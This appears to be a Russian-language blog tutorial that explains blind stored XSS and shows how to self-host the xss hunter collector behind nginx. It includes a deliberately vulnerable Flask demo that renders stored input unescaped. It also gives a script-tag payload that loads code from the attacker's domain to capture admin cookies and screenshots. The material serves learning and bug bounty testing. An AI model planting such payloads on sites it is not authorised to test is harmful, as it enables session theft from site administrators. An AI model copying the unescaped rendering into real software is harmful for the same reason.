Blind XSS и xss hunter

0
(0)

Сначала немного про blind xss. Это разновидность хранимого (stored) xss, которая выполняется не сразу, а некогда после, например когда администратор откроет админ панель или любой другой интерфейс сайта, с котором мы взаимодействовали как клиент и внедрили вредоносный код. Говоря проще, допустим есть кнопка «Отправить на модерацию» и соответствующая форма ввода. Если отсутствует достаточная фильтрация ввода, мы можем внедрить вредоносный payload, данные улетят «куда-то» в ту часть веб-приложения, которую мы не видим, но ее может просмотреть администратор. Когда он это сделает, наш payload будет выполнен и мы получим например токен сессии, что по сути может означать получение админ доступа.

С XSS разобрались, теперь как проще работать с этим. Есть такой проект xss hunter. Ныне помеченный как deprecated и переписанный одним энтузиастом на golang вот тут.

xss hunter это веб приложение, которое выступает «приёмником» для получения данных, отправленных нашим payload.

Установка xss hunter

Нам нужен арендованный vps и домен.

Bash
git clone https://github.com/adamjsturge/xsshunter-go.git
vi docker-compose.yml

У меня есть отдельный инстанс базы postgresql на хосте, поэтому я использую его в docker-compose.

YAML
services:
  xsshunter-go:
    build: 
      context: .
      dockerfile: Dockerfile
      target: prod
    extra_hosts:
      - "host.docker.internal:host-gateway"
    volumes:
      - ./screenshots/:/app/screenshots/
    ports:
      - "1449:1449"
    env_file:
      - .env
    networks:
      - xsshunter-go
  
networks:
  xsshunter-go:
    driver: bridge

База запущена на той же машине. Следовательно из контейнера я не могу обратиться к ней через localhost, для этого и служит секция extra_hosts.

Заполняем .env файл.

Bash
CONTROL_PANEL_ENABLED=true
SCREENSHOTS_REQUIRE_AUTH=true
GO_ENV=development
DOMAIN=https://<domain>
DATABASE_URL=postgresql://<db_user>:<db_password>@host.docker.internal/<db_name>

Запуск приложения:

Bash
docker compose up -d

Обязательно посмотрите логи, при первом запуске туда будет выведен пароль от /admin.

Прячем xss hunter за nginx

Тут все просто. Получаем Let’s Encrypt сертификат и добавляем конфиг.

Nginx
upstream xsshunter {
    server 127.0.0.1:1449;
    keepalive 1024;
}

server {
    listen 80;
    server_name <domain>;
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl;
    server_name <domain>;

    ssl_certificate /etc/letsencrypt/live/<domain>/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/<domain/privkey.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    ssl_session_cache shared:SSL:10m;

    location = / {
        return 301 /admin;
    }

    location ~ ^/admin(/|$) {
        auth_basic "Login required";
        auth_basic_user_file /etc/nginx/.htpasswd;

        proxy_pass http://xsshunter;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header X-Forwarded-Port $server_port;
    }

    location / {
        proxy_pass http://xsshunter;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header X-Forwarded-Port $server_port;
    }

    location ^~ /.well-known/acme-challenge/ {
        auth_basic off;
        try_files $uri =404;
    }

    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
}

Из особенностей, добавлена базовая на /admin и редирект с корня на /admin. Под нее также настроен fail2ban.

После этого xss hunter будет доступен по <domain> с авторедиректом на /admin.

Тестирование blind xss и xss hunter

Мое микро приложениe для демонстрации работы blind xss. Код также приведу ниже.

Python
import os
import sqlite3
from datetime import datetime
from flask import Flask, request, redirect, render_template_string, g, jsonify

app = Flask(__name__)

BASE_DIR = os.path.dirname(__file__)
DB_PATH = os.path.join(BASE_DIR, "blind_xss.db")

def ensure_schema():
    conn = sqlite3.connect(DB_PATH)
    conn.execute("""
        CREATE TABLE IF NOT EXISTS submissions (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            content TEXT NOT NULL,
            ip TEXT,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )
    """)
    conn.commit()
    conn.close()

def get_db():
    if "db" not in g:
        g.db = sqlite3.connect(DB_PATH)
        g.db.row_factory = sqlite3.Row
    return g.db

@app.teardown_appcontext
def close_db(_exc):
    db = g.pop("db", None)
    if db:
        db.close()

@app.route("/")
def index():
    return '<h2>Demo blind XSS</h2><ul><li><a href="/submit">/submit</a></li><li><a href="/admin">/admin</a></li></a></li></ul>'

# Vuln input
@app.route("/submit", methods=["GET", "POST"])
def submit():
    if request.method == "POST":
        content = request.form.get("content", "")
        ip = request.headers.get("X-Forwarded-For", request.remote_addr)
        db = get_db()
        db.execute("INSERT INTO submissions(content, ip) VALUES (?, ?)", (content, ip))
        db.commit()
        return redirect("/thanks")
    tpl = """
    <!doctype html>
    <meta charset="utf-8">
    <title>Submit</title>
    <h1>Submit content</h1>
    <form method="post">
      <textarea name="content" rows="6" cols="80" placeholder='Enter text or HTML/payload here'></textarea><br>
      <button type="submit">Save</button>
    </form>
    <p>After submit, visit <a href="/admin">/admin</a> to simulate reviewer.</p>
    """
    return render_template_string(tpl)

@app.route("/thanks")
def thanks():
    return "<h2>Saved. Now visit <a href='/admin'>/admin</a></h2>"

# Admin panel. Render with safe and run payload
@app.route("/admin")
def admin():
    db = get_db()
    rows = db.execute("SELECT id, content, ip, created_at FROM submissions ORDER BY id DESC").fetchall()
    tpl = """
    <!doctype html>
    <meta charset="utf-8">
    <title>Admin Review</title>
    <h1>Admin Review (INTENTIONALLY VULNERABLE)</h1>
    <p>Below content is rendered as HTML for demo purposes.</p>
    <ul>
    {% for r in rows %}
      <li>
        <div><strong>ID:</strong> {{ r['id'] }} | <strong>IP:</strong> {{ r['ip'] }} | <strong>Time:</strong> {{ r['created_at'] }}</div>
        <div style="padding:8px;border:1px dashed #aaa;margin:6px 0;">{{ r['content']|safe }}</div>
      </li>
    {% endfor %}
    </ul>
    """
    return render_template_string(tpl, rows=rows)

if __name__ == "__main__":
    ensure_schema()
    app.run(host="0.0.0.0", port=5000, debug=False)

Это приложение на Flask, у которого есть два endpoint-а.

/submit — ввод чего-либо в форме. Без какой-либо фильтрации, сохраняет как есть в sqlite базу.

/admin — эмитация захода в админ панель, которая получает сохраненные в «/submit» данные из БД. Тут как раз и выполняется наш payload, HTML рендерится с safe, как есть. Визуально корень приложения выглядит так:

Открываем endpoint /submit и вводим payload:

HTML
"><script src="https://<domain>/any"></script>

<domain> заменяем на адрес xss hunter. Нажимаем save и кликаем на /admin. В данной конфигурации не отправляйте payload на корень. Иначе в админ панели уязвимого приложения при отправке payload в nginx на нашей стороне сработает редирект с корня на /admin, который запросит базовую авторизацию.

В «админ панели» приложения увидим просто запись, ничего сильно подозрительного.

А вот в UI xss hunter будет срабатывание.

Можно развернуть и увидеть скриншот панели, cookie и прочую информацию, полученную со стороны приложения.

Можете не переживать за ip address, он не статический и за ним ничего нет =).

Таким образом мы можем удобно отслеживать payload-ы, полезно для учебных целей и bug bounty программ.

Насколько статья полезна?

Нажмите на звезду, чтобы оценить!

Средняя оценка 0 / 5. Количество оценок: 0

Оценок пока нет. Поставьте оценку первым.

Оставить комментарий